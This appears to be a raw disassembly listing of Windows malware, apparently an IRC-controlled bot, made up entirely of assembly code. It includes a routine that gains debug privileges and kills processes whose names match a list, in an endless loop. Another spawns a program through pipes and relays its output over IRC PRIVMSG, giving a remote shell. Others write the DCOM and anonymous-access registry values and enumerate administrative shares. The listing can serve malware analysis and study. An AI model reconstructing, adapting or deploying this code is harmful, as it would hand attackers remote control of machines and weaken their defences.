var_550		= byte ptr -550h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_230		= byte ptr -230h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CDC84, ebx
		lea	edi, [ebp+var_128]
		mov	[ebp+var_12C], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_34C]
		mov	[ebp+var_350], ebx
		rep stosd
		jz	loc_41A066
		cmp	dword_4CDC68, ebx
		jz	loc_41A066
		cmp	dword_4CDB78, ebx
		jz	loc_41A066
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419E0C
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CDC84	; CreateToolhelp32Snapshot
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jz	loc_41A059
		lea	eax, [ebp+var_12C]
		mov	[ebp+var_12C], 128h
		push	eax
		push	edi
		call	dword_4CDC68	; Process32First
		mov	esi, dword_42806C
		test	eax, eax
		jz	loc_41A054
		lea	eax, [ebp+var_12C]
		push	eax
		push	edi
		call	dword_4CDB78	; Process32Next
		test	eax, eax
		jz	loc_41A054
		mov	ebx, dword_428084


loc_419F36:				; CODE XREF: sub_419E77+1D5j
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_419F93


loc_419F3D:				; CODE XREF: sub_419E77+E3j
		push	off_43C3B8[edi]
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_428188	; lstrcmpiA
		test	eax, eax
		jz	short loc_419F61
		add	edi, 4
		cmp	edi, 60h
		jb	short loc_419F3D
		jmp	loc_41A03A
; ---------------------------------------------------------------------------


loc_419F61:				; CODE XREF: sub_419E77+DBj
		push	[ebp+var_124]
		push	0
		push	1F0FFFh
		call	ebx	; OpenProcess
		mov	edi, eax
		test	edi, edi
		jz	loc_41A03A
		push	0
		push	edi
		call	dword_4280F4	; TerminateProcess
		test	eax, eax
		jnz	loc_41A03A


loc_419F8B:				; CODE XREF: sub_419E77+1A9j
		push	edi
		call	esi	; CloseHandle
		jmp	loc_41A03A
; ---------------------------------------------------------------------------


loc_419F93:				; CODE XREF: sub_419E77+C4j
		cmp	[ebp+arg_C], edi
		jnz	loc_41A025
		cmp	[ebp+arg_4], edi
		jz	loc_41A03A
		push	[ebp+var_124]
		push	8
		call	dword_4CDC84	; CreateToolhelp32Snapshot
		cmp	[ebp+arg_14], 0
		mov	edi, eax
		mov	[ebp+var_350], 224h
		jz	short loc_419FE5
		lea	eax, [ebp+var_350]
		push	eax
		push	edi
		call	dword_4CDB24	; Module32First
		push	[ebp+var_124]
		test	eax, eax
		jz	short loc_419FEB
		lea	eax, [ebp+var_230]
		jmp	short loc_419FF1
; ---------------------------------------------------------------------------


loc_419FE5:				; CODE XREF: sub_419E77+14Cj
		push	[ebp+var_124]


loc_419FEB:				; CODE XREF: sub_419E77+164j
		lea	eax, [ebp+var_108]


loc_419FF1:				; CODE XREF: sub_419E77+16Cj
		push	eax
		lea	eax, [ebp+var_550]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41C056
		add	esp, 10h
		lea	eax, [ebp+var_550]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 14h
		jmp	loc_419F8B
; ---------------------------------------------------------------------------


loc_41A025:				; CODE XREF: sub_419E77+11Fj
		push	[ebp+arg_C]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41A06D


loc_41A03A:				; CODE XREF: sub_419E77+E5j
					; sub_419E77+FDj ...
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	dword_4CDB78	; Process32Next
		test	eax, eax
		jnz	loc_419F36
		xor	ebx, ebx


loc_41A054:				; CODE XREF: sub_419E77+9Dj
					; sub_419E77+B3j
		push	[ebp+var_4]
		call	esi	; CloseHandle


loc_41A059:				; CODE XREF: sub_419E77+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419E0C
		pop	ecx
		pop	ecx


loc_41A066:				; CODE XREF: sub_419E77+3Aj
					; sub_419E77+46j ...
		xor	eax, eax


loc_41A068:				; CODE XREF: sub_419E77+221j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A06D:				; CODE XREF: sub_419E77+1C1j
		push	[ebp+var_124]
		push	0
		push	1F0FFFh
		call	ebx	; OpenProcess
		push	[ebp+var_4]
		mov	edi, eax
		call	esi	; CloseHandle
		push	0
		push	edi
		call	dword_4280F4	; TerminateProcess
		test	eax, eax
		jnz	short loc_41A095
		push	edi
		call	esi	; CloseHandle
		jmp	short loc_41A066
; ---------------------------------------------------------------------------


loc_41A095:				; CODE XREF: sub_419E77+217j
		xor	eax, eax
		inc	eax
		jmp	short loc_41A068
sub_419E77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A09A	proc near		; DATA XREF: sub_401B66+263Do

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_43C5B8
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41C056
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41A0F9
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409982
		add	esp, 14h


loc_41A0F9:				; CODE XREF: sub_41A09A+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_419E77
		add	esp, 18h
		test	eax, eax
		lea	eax, [ebp+var_298]
		jnz	short loc_41A127
		push	offset unk_43C594
		jmp	short loc_41A12C
; ---------------------------------------------------------------------------


loc_41A127:				; CODE XREF: sub_41A09A+84j
		push	offset unk_43C570


loc_41A12C:				; CODE XREF: sub_41A09A+8Bj
		push	eax
		call	sub_41C056
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_41A159
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409982
		add	esp, 14h


loc_41A159:				; CODE XREF: sub_41A09A+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4157A5
		push	[ebp+var_14]
		call	sub_40B2A3
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4280CC	; ExitThread
		pop	edi
		pop	esi
sub_41A09A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41A178	proc near		; CODE XREF: sub_401B66+7792p
					; sub_40B0C8+4Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		xor	edi, edi
		inc	edi
		push	0
		push	1F0FFFh
		call	dword_428084	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_41A1AA
		push	0
		push	esi
		call	dword_4280F4	; TerminateProcess
		test	eax, eax
		jnz	short loc_41A1AA
		push	esi
		xor	edi, edi
		call	dword_42806C	; CloseHandle


loc_41A1AA:				; CODE XREF: sub_41A178+1Aj
					; sub_41A178+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41A178	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41A1AF	proc near		; DATA XREF: sub_401252+3BBo
		push	esi
		xor	esi, esi


loc_41A1B2:				; CODE XREF: sub_41A1AF+1Ej
		push	1
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_419E77
		add	esp, 18h
		push	dword_43C3B0
		call	dword_428064	; Sleep
		jmp	short loc_41A1B2
sub_41A1AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A1CF	proc near		; CODE XREF: sub_41A1FF+2Ap
					; sub_41A237+7Ep ...
		mov	eax, dword_4DDFB4
		push	esi
		mov	esi, dword_42806C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A1E3
		push	eax
		call	esi	; CloseHandle


loc_41A1E3:				; CODE XREF: sub_41A1CF+Fj
		mov	eax, dword_4DDFBC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A1F0
		push	eax
		call	esi	; CloseHandle


loc_41A1F0:				; CODE XREF: sub_41A1CF+1Cj
		mov	eax, dword_4DDFB0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A1FD
		push	eax
		call	esi	; CloseHandle


loc_41A1FD:				; CODE XREF: sub_41A1CF+29j
		pop	esi
		retn
sub_41A1CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A1FF	proc near		; CODE XREF: sub_401B66+74CCp
					; sub_4161D7+14Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41B7B0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DDFB8
		call	dword_4280E0	; WriteFile
		test	eax, eax
		jnz	short loc_41A232
		call	sub_41A1CF
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A232:				; CODE XREF: sub_41A1FF+28j
		xor	eax, eax
		inc	eax
		leave
		retn
sub_41A1FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A237	proc near		; CODE XREF: sub_41A2BE+D3p
					; sub_41A2BE+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_43FE14
		push	[ebp+arg_4]
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41A27A
		push	7D0h
		call	dword_428064	; Sleep
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41C056
		add	esp, 10h
		jmp	short loc_41A291
; ---------------------------------------------------------------------------


loc_41A27A:				; CODE XREF: sub_41A237+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41C056
		add	esp, 0Ch


loc_41A291:				; CODE XREF: sub_41A237+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDCB4	; send
		test	eax, eax
		jg	short loc_41A2BA
		call	sub_41A1CF


loc_41A2BA:				; CODE XREF: sub_41A237+7Cj
		xor	eax, eax
		leave
		retn
sub_41A237	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A2BE	proc near		; DATA XREF: sub_41A413+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DDFC0


loc_41A2D6:				; CODE XREF: sub_41A2BE+79j
					; sub_41A2BE+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DDFB4
		call	dword_428190	; PeekNamedPipe
		test	eax, eax
		jz	loc_41A3A4
		cmp	[ebp+var_4], edi
		jnz	short loc_41A339
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DDFB0
		call	dword_42818C	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_41A32F
		cmp	[ebp+var_8], 103h
		jnz	loc_41A3C8


loc_41A32F:				; CODE XREF: sub_41A2BE+62j
		push	0Ah
		call	dword_428064	; Sleep
		jmp	short loc_41A2D6
; ---------------------------------------------------------------------------


loc_41A339:				; CODE XREF: sub_41A2BE+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_41A350


loc_41A340:				; CODE XREF: sub_41A2BE+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_41A39E
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_41A340


loc_41A350:				; CODE XREF: sub_41A2BE+80j
		mov	[ebp+var_4], esi


loc_41A353:				; CODE XREF: sub_41A2BE+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DDFB4
		call	dword_4280E8	; ReadFile
		test	eax, eax
		jz	short loc_41A3F0
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DDFF4
		call	sub_41A237
		add	esp, 0Ch
		jmp	loc_41A2D6
; ---------------------------------------------------------------------------


loc_41A39E:				; CODE XREF: sub_41A2BE+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_41A353
; ---------------------------------------------------------------------------


loc_41A3A4:				; CODE XREF: sub_41A2BE+45j
		push	offset unk_43C640
		push	ebx
		push	dword_4DDFF4
		call	sub_41A237
		push	[ebp+arg_0]
		call	sub_40B2A3
		add	esp, 10h
		push	1
		call	dword_4280CC	; ExitThread


loc_41A3C8:				; CODE XREF: sub_41A2BE+6Bj
		call	sub_41A1CF
		push	offset unk_43C618
		push	ebx
		push	dword_4DDFF4
		call	sub_41A237
		push	[ebp+arg_0]
		call	sub_40B2A3
		add	esp, 10h
		push	edi
		call	dword_4280CC	; ExitThread


loc_41A3F0:				; CODE XREF: sub_41A2BE+C3j
		push	offset unk_43C5E8
		push	ebx
		push	dword_4DDFF4
		call	sub_41A237
		push	[ebp+arg_0]
		call	sub_40B2A3
		add	esp, 10h
		push	edi
		call	dword_4280CC	; ExitThread
sub_41A2BE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A413	proc near		; CODE XREF: sub_401B66+2437p
					; sub_4161D7+99p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_41A1CF
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_436228
		push	esi
		call	dword_4CDD1C	; SearchPathA
		test	eax, eax
		jz	loc_41A50D
		lea	eax, [ebp+var_1C]
		mov	edi, dword_428100
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		xor	ebx, ebx
		push	eax
		lea	eax, [ebp+var_10]
		inc	ebx
		push	eax
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_41A50D
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_41A50D
		mov	edi, dword_4280FC
		push	3
		push	esi
		push	esi
		push	offset dword_4DDFB8
		call	edi	; GetCurrentProcess
		push	eax
		push	[ebp+var_8]
		call	edi	; GetCurrentProcess
		push	eax
		call	dword_4280F8	; DuplicateHandle
		test	eax, eax
		jz	short loc_41A50D
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41BD60
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BD60
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_43FE14
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	dword_428070	; CreateProcessA
		test	eax, eax
		jnz	short loc_41A515


loc_41A50D:				; CODE XREF: sub_41A413+2Fj
					; sub_41A413+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_41A5C3
; ---------------------------------------------------------------------------


loc_41A515:				; CODE XREF: sub_41A413+F8j
		push	[ebp+var_4]
		mov	edi, dword_42806C
		call	edi	; CloseHandle
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DDFB4, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DDFBC, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DDFB0, eax
		call	edi	; CloseHandle
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DDFF4, eax
		jz	short loc_41A54F
		push	[ebp+arg_4]
		jmp	short loc_41A550
; ---------------------------------------------------------------------------


loc_41A54F:				; CODE XREF: sub_41A413+135j
		push	ebx


loc_41A550:				; CODE XREF: sub_41A413+13Aj
		push	offset dword_4DDFC0
		call	sub_41C056
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_43C6A4
		call	sub_40AF8D
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_440BA0[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_41A2BE
		push	esi
		push	esi
		call	dword_42807C	; CreateThread
		cmp	eax, esi
		mov	dword_440BAC[edi], eax
		jnz	short loc_41A5C1
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_43C670
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_4157A5
		add	esp, 10h


loc_41A5C1:				; CODE XREF: sub_41A413+185j
		xor	eax, eax


loc_41A5C3:				; CODE XREF: sub_41A413+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A413	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A5C8	proc near		; DATA XREF: sub_401B66+2DC4o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_41A60F
		call	sub_41A628
		jmp	short loc_41A614
; ---------------------------------------------------------------------------


loc_41A60F:				; CODE XREF: sub_41A5C8+3Ej
		call	sub_41A94E


loc_41A614:				; CODE XREF: sub_41A5C8+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B2A3
		pop	ecx
		push	0
		call	dword_4280CC	; ExitThread
sub_41A5C8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A628	proc near		; CODE XREF: sub_41A5C8+40p
					; sub_41AC6A+8p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CDD30, edi
		jnz	loc_41A75A
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CDCD4	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41A6B3
		mov	ax, word_43B3F0
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CDC88	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_214]
		jz	short loc_41A69B
		push	offset dword_43C944
		jmp	short loc_41A6A0
; ---------------------------------------------------------------------------


loc_41A69B:				; CODE XREF: sub_41A628+6Aj
		push	offset dword_43C924


loc_41A6A0:				; CODE XREF: sub_41A628+71j
		push	eax
		call	sub_41C056
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CDC40	; RegCloseKey
		jmp	short loc_41A6C6
; ---------------------------------------------------------------------------


loc_41A6B3:				; CODE XREF: sub_41A628+36j
		lea	eax, [ebp+var_214]
		push	offset dword_43C8F4
		push	eax
		call	sub_41C056
		pop	ecx
		pop	ecx


loc_41A6C6:				; CODE XREF: sub_41A628+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A6E5
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 14h


loc_41A6E5:				; CODE XREF: sub_41A628+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4157A5
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CDCD4	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41A753
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CDC88	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_214]
		jz	short loc_41A73B
		push	offset dword_43C8A4
		jmp	short loc_41A740
; ---------------------------------------------------------------------------


loc_41A73B:				; CODE XREF: sub_41A628+10Aj
		push	offset dword_43C870


loc_41A740:				; CODE XREF: sub_41A628+111j
		push	eax
		call	sub_41C056
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CDC40	; RegCloseKey
		jmp	short loc_41A76D
; ---------------------------------------------------------------------------


loc_41A753:				; CODE XREF: sub_41A628+E2j
		push	offset dword_43C834
		jmp	short loc_41A75F
; ---------------------------------------------------------------------------


loc_41A75A:				; CODE XREF: sub_41A628+13j
		push	offset dword_43C804


loc_41A75F:				; CODE XREF: sub_41A628+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C056
		pop	ecx
		pop	ecx


loc_41A76D:				; CODE XREF: sub_41A628+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A78C
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 14h


loc_41A78C:				; CODE XREF: sub_41A628+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4157A5
		cmp	dword_4CDD58, edi
		pop	ecx
		jnz	loc_41A909
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A7AF:				; CODE XREF: sub_41A628+2C5j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CDBA8
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A84E
		cmp	eax, 0EAh
		jz	short loc_41A84E
		xor	esi, esi


loc_41A7DD:				; CODE XREF: sub_41A628+21Fj
		push	off_43C6CC[esi]
		push	edi
		call	sub_41944C
		pop	ecx
		pop	ecx
		push	off_43C6CC[esi]
		test	eax, eax
		lea	eax, [ebp+var_214]
		jnz	short loc_41A802
		push	offset dword_43C7E0
		jmp	short loc_41A807
; ---------------------------------------------------------------------------


loc_41A802:				; CODE XREF: sub_41A628+1D1j
		push	offset dword_43C7B4


loc_41A807:				; CODE XREF: sub_41A628+1D8j
		push	200h
		push	eax
		call	sub_41C150
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A834
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 14h


loc_41A834:				; CODE XREF: sub_41A628+1F0j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4157A5
		add	esi, 8
		pop	ecx
		cmp	esi, 20h
		jb	short loc_41A7DD
		jmp	loc_41A8E6
; ---------------------------------------------------------------------------


loc_41A84E:				; CODE XREF: sub_41A628+1AAj
					; sub_41A628+1B1j
		mov	esi, [ebp+var_8]
		xor	ebx, ebx
		inc	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A8DD


loc_41A85D:				; CODE XREF: sub_41A628+2B1j
		mov	edi, [esi]
		push	edi
		call	sub_41E017
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A8D2
		push	edi
		call	sub_419339
		push	eax
		push	0
		call	sub_41944C
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		lea	eax, [ebp+var_214]
		jnz	short loc_41A892
		push	offset dword_43C790
		jmp	short loc_41A897
; ---------------------------------------------------------------------------


loc_41A892:				; CODE XREF: sub_41A628+261j
		push	offset dword_43C764


loc_41A897:				; CODE XREF: sub_41A628+268j
		push	200h
		push	eax
		call	sub_41C150
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A8C5
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 14h


loc_41A8C5:				; CODE XREF: sub_41A628+281j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4157A5
		pop	ecx


loc_41A8D2:				; CODE XREF: sub_41A628+244j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A85D
		xor	edi, edi


loc_41A8DD:				; CODE XREF: sub_41A628+22Fj
		push	[ebp+var_8]
		call	dword_4CDCF4


loc_41A8E6:				; CODE XREF: sub_41A628+221j
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A7AF
		lea	eax, [ebp+var_214]
		push	offset dword_43C73C
		push	eax
		call	sub_41C056
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A91C
; ---------------------------------------------------------------------------


loc_41A909:				; CODE XREF: sub_41A628+177j
		lea	eax, [ebp+var_214]
		push	offset dword_43C70C
		push	eax
		call	sub_41C056
		pop	ecx
		pop	ecx


loc_41A91C:				; CODE XREF: sub_41A628+2DFj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A93A
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 14h


loc_41A93A:				; CODE XREF: sub_41A628+2F7j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4157A5
		pop	ecx
		xor	eax, eax
		pop	edi
		inc	eax
		pop	esi
		leave
		retn
sub_41A628	endp


; =============== S U B	R O U T	I N E =======================================

